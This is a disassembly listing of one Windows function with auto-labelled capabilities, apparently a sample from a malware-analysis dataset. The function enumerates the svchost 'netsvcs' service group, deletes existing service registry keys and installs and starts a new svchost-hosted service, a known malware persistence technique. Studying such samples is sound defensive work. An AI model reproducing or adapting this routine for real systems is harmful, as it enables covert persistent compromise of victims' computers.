Function at 0x402ae0
Capabilities:
Check if file exists
Delete registry key
Get common file path
Get file attributes
Query or enumerate registry value
Start service

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x403800
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
sub esp, 0x91c
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x20], 0x80000002
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x234], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x24], 0
mov dword [ebp - 4], 0
lea eax, [ebp - 0x20]
push eax
push 1
push 0
mov ecx, dword [str.SOFTWAREMicrosoftWindows_NTCurrentVersionSvchost]
push ecx
mov edx, dword [ebp - 0x20]
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x402b7d
mov dword [ebp - 0x904], str.RegOpenKeyEx
push 0x4042d0
lea eax, [ebp - 0x904]
push eax
call sub.MSVCRT.dll__CxxThrowException
mov dword [ebp - 0x23c], 0x400
lea ecx, [ebp - 0x23c]
push ecx
lea edx, [ebp - 0x640]
push edx
lea eax, [ebp - 0x6a8]
push eax
push 0
push str.netsvcs
mov ecx, dword [ebp - 0x20]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov dword [ebp - 0x14], eax
mov edx, dword [ebp - 0x20]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 0x14], 0
je 0x402bdb
mov dword [ebp - 0x908], str.RegQueryValueEx_Svchost_netsvcs_
push 0x4042d0
lea eax, [ebp - 0x908]
push eax
call sub.MSVCRT.dll__CxxThrowException
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov dword [ebp - 0x234], eax
cmp dword [ebp - 0x234], 0
jne 0x402c14
mov dword [ebp - 0x90c], str.OpenSCManager__
push 0x4042d0
lea ecx, [ebp - 0x90c]
push ecx
call sub.MSVCRT.dll__CxxThrowException
mov dword [ebp - 0x8a0], str._SystemRoot_System32_svchost.exe__k_netsvcs
mov byte [ebp - 0x8f8], 0
mov ecx, 0x13
xor eax, eax
lea edi, [ebp - 0x8f7]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [ebp - 0x6a4], 0
mov ecx, 0x18
xor eax, eax
lea edi, [ebp - 0x6a3]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edx, dword [ebp + 8]
push edx
lea eax, [ebp - 0x6a4]
push eax
call sub.MSVCRT.dll_strcpy
add esp, 8
movsx ecx, byte [ebp - 0x6a4]
test ecx, ecx
jne 0x402c86
push 0x42cc24
lea edx, [ebp - 0x6a4]
push edx
call sub.MSVCRT.dll_strcmp
add esp, 8
test eax, eax
jne 0x402c97
push 7
lea eax, [ebp - 0x6a4]
push eax
call fcn.00401140
add esp, 8
xor ecx, ecx
mov cl, byte [0x42d740]
test ecx, ecx
jne 0x402cce
lea edx, [ebp - 0x8f8]
push edx
call fcn.00402940
add esp, 4
lea eax, [ebp - 0x8f8]
push eax
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenEventA]
test eax, eax
je 0x402cce
xor eax, eax
jmp 0x403102
mov dword [ebp - 0x8fc], 0x50
lea ecx, [ebp - 0x8fc]
push ecx
lea edx, [ebp - 0x8f8]
push edx
lea eax, [ebp - 0x6a4]
push eax
mov ecx, dword [ebp - 0x234]
push ecx
call dword [sym.imp.ADVAPI32.dll_GetServiceKeyNameA]
test eax, eax
je 0x402d1c
push 0x42cc30
lea edx, [ebp - 0x6a4]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov dword [ebp - 0x8fc], 0x50
jmp 0x402cd8
push 0x104
lea eax, [ebp - 0x230]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov byte [ebp - 0x8a8], 0
xor ecx, ecx
mov dword [ebp - 0x8a7], ecx
mov byte [ebp - 0x89c], 0
mov ecx, 0x7c
xor eax, eax
lea edi, [ebp - 0x89b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea edx, [ebp - 0x640]
mov dword [ebp - 0x240], edx
jmp 0x402d81
mov eax, dword [ebp - 0x240]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, dword [ebp - 0x240]
lea edx, [ecx + eax + 1]
mov dword [ebp - 0x240], edx
mov eax, dword [ebp - 0x240]
movsx ecx, byte [eax]
test ecx, ecx
je 0x402fee
mov edx, dword [ebp - 0x240]
movsx eax, byte [edx + 1]
test eax, eax
jne 0x402da5
jmp 0x402fee
push str.iprip
mov ecx, dword [ebp - 0x240]
push ecx
call sub.MSVCRT.dll__stricmp
add esp, 8
test eax, eax
je 0x402dd5
push str.nwsaPAgEnT
mov edx, dword [ebp - 0x240]
push edx
call sub.MSVCRT.dll__stricmp
add esp, 8
test eax, eax
jne 0x402dd7
jmp 0x402d64
push str.serviceone
mov eax, dword [ebp - 0x240]
push eax
call sub.MSVCRT.dll__stricmp
add esp, 8
test eax, eax
je 0x402e07
push str.servicetwo
mov ecx, dword [ebp - 0x240]
push ecx
call sub.MSVCRT.dll__stricmp
add esp, 8
test eax, eax
jne 0x402e0c
jmp 0x402d64
mov edx, dword [ebp - 0x240]
push edx
call sub.MSVCRT.dll__strlwr
add esp, 4
push eax
push str.SYSTEMCurrentControlSetServices_s
lea eax, [ebp - 0x89c]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 0
push 0
push 0
lea ecx, [ebp - 0x7d4]
push ecx
push 2
push str.ImagePath
lea edx, [ebp - 0x89c]
push edx
push 0x80000002
call fcn.00401ac0
add esp, 0x20
mov dword [ebp - 0x918], eax
mov eax, dword [ebp - 0x918]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 1
jne 0x402e73
jmp 0x402d64
lea ecx, [ebp - 0x89c]
push ecx
push 0x80000002
call dword [sym.imp.SHLWAPI.dll_SHDeleteKeyA]
mov edx, dword [ebp - 0x240]
push edx
lea eax, [ebp - 0x230]
push eax
push str._s_nt_s.dll
lea ecx, [ebp - 0x12c]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea edx, [ebp - 0x12c]
push edx
call fcn.00401000
add esp, 4
lea eax, [ebp - 0x12c]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x402ece
jmp 0x402d64
mov ecx, dword [ebp - 0x240]
push ecx
lea edx, [ebp - 0x89c]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push str..del
lea eax, [ebp - 0x89c]
push eax
call fcn.00401410
add esp, 8
lea ecx, [ebp - 0x89c]
push ecx
call fcn.00401000
add esp, 4
lea edx, [ebp - 0x89c]
push edx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x402f1c
jmp 0x402d64
push 0
push 0x120
push 0x42cca8
lea eax, [ebp - 0x12c]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
lea edx, [ebp - 0x6a4]
push edx
mov eax, dword [ebp - 0x240]
push eax
call fcn.00402750
add esp, 0x1c
mov dword [ebp - 0x91c], eax
mov ecx, dword [ebp - 0x91c]
mov dword [ebp - 0x18], ecx
cmp dword [ebp - 0x18], 0
je 0x402fe9
mov edx, dword [ebp - 0x18]
push edx
call fcn.004029e0
add esp, 4
mov byte [ebp - 0x920], al
mov eax, dword [ebp - 0x920]
and eax, 0xff
test eax, eax
je 0x402fd0
mov ecx, dword [ebp - 0x240]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, 1
push eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov dword [ebp - 0x924], eax
mov edx, dword [ebp - 0x924]
mov dword [ebp - 0x910], edx
mov eax, dword [ebp - 0x910]
mov dword [ebp - 0x28], eax
mov ecx, dword [ebp - 0x240]
push ecx
mov edx, dword [ebp - 0x28]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov eax, dword [ebp - 0x28]
jmp 0x403102
lea eax, [ebp - 0x12c]
push eax
call fcn.00401000
add esp, 4
mov ecx, dword [ebp - 0x18]
push ecx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x402d64
call fcn.00402550
mov dword [ebp - 0x928], eax
mov edx, dword [ebp - 0x928]
mov dword [ebp - 0x28], edx
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x240], eax
lea ecx, [ebp - 0x12c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x403031
push 0x42ccb4
lea edx, [ebp - 0x12c]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
jmp 0x40300b
push 0
push 0x110
push str.FreeTest
lea eax, [ebp - 0x12c]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
lea edx, [ebp - 0x6a4]
push edx
mov eax, dword [ebp - 0x240]
push eax
call fcn.00402750
add esp, 0x1c
mov dword [ebp - 0x92c], eax
mov ecx, dword [ebp - 0x92c]
mov dword [ebp - 0x18], ecx
cmp dword [ebp - 0x18], 0
jne 0x40308e
mov dword [ebp - 0x914], str.CreateService_Parameters_
push 0x4042d0
lea edx, [ebp - 0x914]
push edx
call sub.MSVCRT.dll__CxxThrowException
jmp 0x4030b5
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x20]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 0x1c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 0x18], 0
je 0x4030f3
push 0
push 0
mov ecx, dword [ebp - 0x18]
push ecx
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
mov edx, dword [ebp - 0x18]
push edx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, dword [ebp - 0x28]
jmp 0x403102
mov eax, dword [ebp - 0x234]
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret